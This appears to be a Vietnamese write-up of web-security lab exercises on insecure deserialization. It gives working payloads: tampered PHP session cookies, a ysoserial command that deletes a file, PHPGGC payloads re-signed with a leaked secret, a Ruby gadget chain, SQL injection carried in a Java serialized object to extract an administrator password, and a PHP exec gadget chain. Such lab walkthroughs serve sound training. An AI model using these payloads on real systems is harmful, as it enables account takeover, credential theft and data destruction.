---
# System prepended metadata

title: Insecure Deserialization Lab

---

# lab 1

![image](https://hackmd.io/_uploads/Hyw8PZAsa.png)

Sau khi đăng nhập vào wiener thành công
![image](https://hackmd.io/_uploads/ByqZub0jp.png)

Decode cookie

![image](https://hackmd.io/_uploads/rynzOZAjT.png)

sửa lại thành `O:4:"User":2:{s:8:"username";s:6:"wiener";s:5:"admin";b:1;}7` sau đó decode lại bằng base64

![image](https://hackmd.io/_uploads/S1xnubRo6.png)

Đã có thể truy cập vào admin panel

# lab 2

![image](https://hackmd.io/_uploads/HJUFYbRi6.png)

Sau khi đăng nhập thành công vào user wiener

![image](https://hackmd.io/_uploads/S1h45Z0jp.png)

Decode session cookie ta nhận được

![image](https://hackmd.io/_uploads/Syxt9bCs6.png)

Sửa lại thành `O:4:"User":2:{s:8:"username";s:6:"wiener";s:12:"access_token";i:0;}` để bypass kiểm tra access token

![image](https://hackmd.io/_uploads/H1D9ob0oT.png)

# lab 3

![image](https://hackmd.io/_uploads/HJAY2W0oa.png)

Sau khi đăng nhập thành công, decode session cookie ta được

![image](https://hackmd.io/_uploads/rJUCab0iT.png)
Thêm vào đó, trang web có chức năng delete account, baayh ta chỉ cần sửa `avatar_link` thành file `morale.txt`. Cuối cùng thực hiện delete account

![image](https://hackmd.io/_uploads/SkHQ1f0jp.png)

# lab 4

![image](https://hackmd.io/_uploads/Sk8cJM0jp.png)

Đăng nhập vào user wiener, kiểm tra site map trong burpsuite:

![image](https://hackmd.io/_uploads/r1EVsQ12p.png)

Có một file php với path /lib/CustomTemplate.php, thêm dấu `~` ở cuối để thử xem source của file đó.

![image](https://hackmd.io/_uploads/rkXui713a.png)

File này define một class `CustomTemplate`. Bây giờ tận dụng class này để xóa file `morale.txt` trong home folder của user carlos bằng method `__destruct()` của class `CustomTemplate`.

`O:14:"CustomTemplate":1:{s:14:"lock_file_path";s:23:"/home/carlos/morale.txt";}`

method `__destruct()` sẽ được gọi khi object bị destructed hoặc script bị stopped hoặc exited.

ví dụ có đoạn code php
```php=
<?php
class Fruit {
  public $name;
  public $color;

  function __construct($name) {
    $this->name = $name; 
  }
  function __destruct() {
    echo "The fruit is {$this->name}."; 
  }
}

$apple = new Fruit("Apple");
?>
```

output của chương trình sẽ như sau.

```
The fruit is Apple.
```

Sau khi đăng nhập, sửa session cookie thành object class `CustomTemplate`. 

![image](https://hackmd.io/_uploads/BkkJ5Hkhp.png)

# lab 5 

![image](https://hackmd.io/_uploads/BJBdRSknp.png)

Sau khi đăng nhập thành công user wiener, decode session cookie:

![image](https://hackmd.io/_uploads/rJwI1Iy2p.png)

Cookie bắt đầu với `rO0`, có string `java/lang/String` => java object serialization. Tạo payload với `ysoserial`:

`java -jar ysoserial-all.jar CommonsCollections4 'rm /home/carlos/morale.txt' | base64`

![image](https://hackmd.io/_uploads/SyDBcIJ3a.png)

![image](https://hackmd.io/_uploads/SyPI5Lk2a.png)

# lab 6

![image](https://hackmd.io/_uploads/Skw7ByWnT.png)

Sau khi đăng nhập, request có sử dụng session cookie:

![image](https://hackmd.io/_uploads/B1ICS1-26.png)

decode vs url decode:

![image](https://hackmd.io/_uploads/rywyIkbnp.png)

Decode token value:

![image](https://hackmd.io/_uploads/H1t481Zn6.png)
=> php object serialization

Ở trong target sitemap, mình phát hiện ra có request đến file phpinfo. Xem file này lấy được các giá trị quan trọng như SECRET_KEY của server.

![image](https://hackmd.io/_uploads/S1tXqJ-hT.png)

![image](https://hackmd.io/_uploads/r1SVqkZ36.png)

Khi thay đổi cookie khác với cookie trước đó, trang web trả về lỗi do Signature không trùng khớp.
![image](https://hackmd.io/_uploads/BJGRfgb3T.png)

Từ error log ta thấy web sử dụng symfony framework. Dùng `PHPGGC` để tạo payload.

Kí lại token bằng SECRET_KEY lấy được từ file phpinfo
![image](https://hackmd.io/_uploads/BJJfVlb2T.png)

![image](https://hackmd.io/_uploads/HkJXUl-hT.png)

![image](https://hackmd.io/_uploads/SkKZDlb2a.png)

![image](https://hackmd.io/_uploads/rJIeve-26.png)

# lab 7

![image](https://hackmd.io/_uploads/r1hhFxb2a.png)

Sau khi đăng nhập thành công, thử sửa lại cookie thì server trả về error log

![image](https://hackmd.io/_uploads/HySOvAZ2a.png)

`marshal load` => ruby

Tìm `ruby deserialization gadgetchain` và làm theo [hướng dẫn](https://www.elttam.com/blog/ruby-deserialization/#content)

![image](https://hackmd.io/_uploads/HJv5q0Z2a.png)

# lab 8

![ảnh](https://hackmd.io/_uploads/SJ-fEcmh6.png)

Sau khi đăng nhập vào tài khoản của wiener, kiểm tra sitemap của target trong burpsuite:

![ảnh](https://hackmd.io/_uploads/rJ0LVcX36.png)

Có một file `AccessTokenUser.java`, kiểm tra thêm thư mục backup, phát hiện thêm một file `ProductTemplate.java`

![ảnh](https://hackmd.io/_uploads/BJnsE9Qna.png)

![ảnh](https://hackmd.io/_uploads/rJwTE5X3a.png)

![ảnh](https://hackmd.io/_uploads/HyVyBqQhp.png)

```java=
package data.productcatalog;

import common.db.JdbcConnectionBuilder;

import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;
import java.sql.Connection;
import java.sql.ResultSet;
import java.sql.SQLException;
import java.sql.Statement;

public class ProductTemplate implements Serializable
{
    static final long serialVersionUID = 1L;

    private final String id;
    private transient Product product;

    public ProductTemplate(String id)
    {
        this.id = id;
    }

    private void readObject(ObjectInputStream inputStream) throws IOException, ClassNotFoundException
    {
        inputStream.defaultReadObject();

        JdbcConnectionBuilder connectionBuilder = JdbcConnectionBuilder.from(
                "org.postgresql.Driver",
                "postgresql",
                "localhost",
                5432,
                "postgres",
                "postgres",
                "password"
        ).withAutoCommit();
        try
        {
            Connection connect = connectionBuilder.connect(30);
            String sql = String.format("SELECT * FROM products WHERE id = '%s' LIMIT 1", id);
            Statement statement = connect.createStatement();
            ResultSet resultSet = statement.executeQuery(sql);
            if (!resultSet.next())
            {
                return;
            }
            product = Product.from(resultSet);
        }
        catch (SQLException e)
        {
            throw new IOException(e);
        }
    }

    public String getId()
    {
        return id;
    }

    public Product getProduct()
    {
        return product;
    }
}

```

Method `readObject` là một magic method. Một Java object được chuyển đổi thành một byte stream trong quá trình serialization để lưu vào một tệp hoặc truyền qua internet. Byte stream được serialization được chuyển đổi trở lại thành đối tượng ban đầu trong quá trình deserialization bằng cách sử dụng method `readObject()` của `ObjectInputStream`, phương thức này gọi nội bộ `defaultReadObject()` để deserialize.

Nếu `readObject()` method có trong class, thì method `readObject()` của ObjectInputStream sẽ sử dụng phương thức `readObject()` của class để đọc đối tượng từ byte stream thay vì gọi `defaultReadObject()`.

Ta có thể thấy trong method `readObject()` thực hiện truy vấn sql từ id. Đoạn code này bị dính lỗi sql injection do ko xác thực đầu vào và cộng chuỗi. Tạo payload bằng mã nguồn như sau:

![ảnh](https://hackmd.io/_uploads/B11yToXnT.png)
[source](https://replit.com/@BNguyn1/lab8?v=1#src/main/java/Main.java)
![ảnh](https://hackmd.io/_uploads/HydzRoQha.png)

Giờ chỉ còn là câu chuyện của SQL injection
=> first order, error based sqli

## Tìm số cột

![ảnh](https://hackmd.io/_uploads/ByhNlhQ2a.png)

Thử bằng payload `' ORDER BY X--` => số cột bằng 8

## Tìm kiểu dữ liệu của các cột

Tìm được cột số 1,2,3,7,8 chứa kiểu dữ liệu string. Expect integer
![ảnh](https://hackmd.io/_uploads/BkKuLnXnT.png)


## Lấy các thông tin của DB

Như một ảnh ở bên trên, qua error log ta thấy server dùng `PostgreSQL` 

```!
Serialized object: rO0ABXNyACNkYXRhLnByb2R1Y3RjYXRhbG9nLlByb2R1Y3RUZW1wbGF0ZQAAAAAAAAABAgABTAACaWR0ABJMamF2YS9sYW5nL1N0cmluZzt4cHQAbicgVU5JT04gU0VMRUNUIE5VTEwsTlVMTCxOVUxMLENBU1QodGFibGVfbmFtZSBBUyBudW1lcmljKSxOVUxMLE5VTEwsTlVMTCxOVUxMIEZST00gaW5mb3JtYXRpb25fc2NoZW1hLnRhYmxlcy0t
Deserialized object ID: ' UNION SELECT NULL,NULL,NULL,CAST(table_name AS numeric),NULL,NULL,NULL,NULL FROM information_schema.tables--
```

![ảnh](https://hackmd.io/_uploads/BJZq_nQ2a.png)

```!
Serialized object: rO0ABXNyACNkYXRhLnByb2R1Y3RjYXRhbG9nLlByb2R1Y3RUZW1wbGF0ZQAAAAAAAAABAgABTAACaWR0ABJMamF2YS9sYW5nL1N0cmluZzt4cHQApScgVU5JT04gU0VMRUNUIE5VTEwsTlVMTCxOVUxMLENBU1QoKFNFTEVDVCBjb2x1bW5fbmFtZSBGUk9NIGluZm9ybWF0aW9uX3NjaGVtYS5jb2x1bW5zIFdIRVJFIHRhYmxlX25hbWUgPSAndXNlcnMnIE9GRlNFVCAxIExJTUlUIDEpIEFTIG51bWVyaWMpLE5VTEwsTlVMTCxOVUxMLE5VTEwtLQ==
Deserialized object ID: ' UNION SELECT NULL,NULL,NULL,CAST((SELECT column_name FROM information_schema.columns WHERE table_name = 'users' OFFSET 1 LIMIT 1) AS numeric),NULL,NULL,NULL,NULL--
```

![ảnh](https://hackmd.io/_uploads/r1n_ihmnT.png)

```!
Serialized object: rO0ABXNyACNkYXRhLnByb2R1Y3RjYXRhbG9nLlByb2R1Y3RUZW1wbGF0ZQAAAAAAAAABAgABTAACaWR0ABJMamF2YS9sYW5nL1N0cmluZzt4cHQAiycgVU5JT04gU0VMRUNUIE5VTEwsTlVMTCxOVUxMLENBU1QoY29sdW1uX25hbWUgQVMgbnVtZXJpYyksTlVMTCxOVUxMLE5VTEwsTlVMTCBGUk9NIGluZm9ybWF0aW9uX3NjaGVtYS5jb2x1bW5zIFdIRVJFIHRhYmxlX25hbWUgPSAndXNlcnMnLS0=
Deserialized object ID: ' UNION SELECT NULL,NULL,NULL,CAST(column_name AS numeric),NULL,NULL,NULL,NULL FROM information_schema.columns WHERE table_name = 'users'--
```

![ảnh](https://hackmd.io/_uploads/SkARinX2T.png)

```!
Serialized object: rO0ABXNyACNkYXRhLnByb2R1Y3RjYXRhbG9nLlByb2R1Y3RUZW1wbGF0ZQAAAAAAAAABAgABTAACaWR0ABJMamF2YS9sYW5nL1N0cmluZzt4cHQAgicgVU5JT04gU0VMRUNUIE5VTEwsTlVMTCxOVUxMLENBU1QoKFNFTEVDVCBwYXNzd29yZCBGUk9NIHVzZXJzIFdIRVJFIHVzZXJuYW1lID0gJ2FkbWluaXN0cmF0b3InKSBBUyBudW1lcmljKSxOVUxMLE5VTEwsTlVMTCxOVUxMLS0=
Deserialized object ID: ' UNION SELECT NULL,NULL,NULL,CAST((SELECT password FROM users WHERE username = 'administrator') AS numeric),NULL,NULL,NULL,NULL--
```

![ảnh](https://hackmd.io/_uploads/HktHpnQhT.png)

# lab 9

![ảnh](https://hackmd.io/_uploads/SyBbPzr3p.png)

Sau khi đã đăng nhập thành công vào user wiener, kiểm tra sitemap của target:

![ảnh](https://hackmd.io/_uploads/rJkRpfrha.png)

Expand thêm `~` để xem source của file này

![ảnh](https://hackmd.io/_uploads/BJXlCGr2p.png)

```php=
<?php

class CustomTemplate {
    private $default_desc_type;
    private $desc;
    public $product;

    public function __construct($desc_type='HTML_DESC') {
        $this->desc = new Description();
        $this->default_desc_type = $desc_type;
        // Carlos thought this is cool, having a function called in two places... What a genius
        $this->build_product();
    }

    public function __sleep() {
        return ["default_desc_type", "desc"];
    }

    public function __wakeup() {
        $this->build_product();
    }

    private function build_product() {
        $this->product = new Product($this->default_desc_type, $this->desc);
    }
}

class Product {
    public $desc;

    public function __construct($default_desc_type, $desc) {
        $this->desc = $desc->$default_desc_type;
    }
}

class Description {
    public $HTML_DESC;
    public $TEXT_DESC;

    public function __construct() {
        // @Carlos, what were you thinking with these descriptions? Please refactor!
        $this->HTML_DESC = '<p>This product is <blink>SUPER</blink> cool in html</p>';
        $this->TEXT_DESC = 'This product is cool in text';
    }
}

class DefaultMap {
    private $callback;

    public function __construct($callback) {
        $this->callback = $callback;
    }

    public function __get($name) {
        return call_user_func($this->callback, $name);
    }
}

?>
```

Ở đây ta thấy có method magic là `__wakeup()` method này sẽ được gọi khi object được deserialize. Ngoài ra còn một magic method đáng chú ý khác là `__get()`, gọi khi ta truy cập vào thuộc tính không tồn tại hoặc thuộc tính private trong đối tượng. `$name` là thuộc tính không tồn tại hoặc private mà ta gọi tới. Hàm `call_user_func()` sẽ gọi hàm `$this->callback`, `$name` sẽ là arg. Vậy nếu ta tạo payload như sau:

- Tạo một object có class là DefaultMap, thuộc tính `callback` có giá trị là `exec()`
- Một object class CustomTemplate, có `$default_desc_type` = `rm /home/carlos/morale.txt` và `$dest`= object DefaultMap đã tạo phía trên
- Khi object CustomTemplate được deserialize, `__wakeup()` được gọi. Hàm này gọi đến `$this->build_product()`. Một product mới được tạo, lúc này magic method `__construct()` được gọi, hàm này thực thi `$this->desc = $desc->$default_desc_type;` tức `$this->desc= DefaultMap->rm /home/carlos/morale.txt`. Method "rm /home/carlos/morale.txt" không tồn tại trong object `DefaultMap` nên magic method `__set()` được gọi. Dẫn đến thực thi `exec("rm /home/carlos/morale.txt").

=> final payload: `O:14:"CustomTemplate":2:{s:17:"default_desc_type";s:26:"rm /home/carlos/morale.txt";s:4:"desc";O:10:"DefaultMap":1:{s:8:"callback";s:4:"exec";}}`

![ảnh](https://hackmd.io/_uploads/HJoJVmrnT.png)
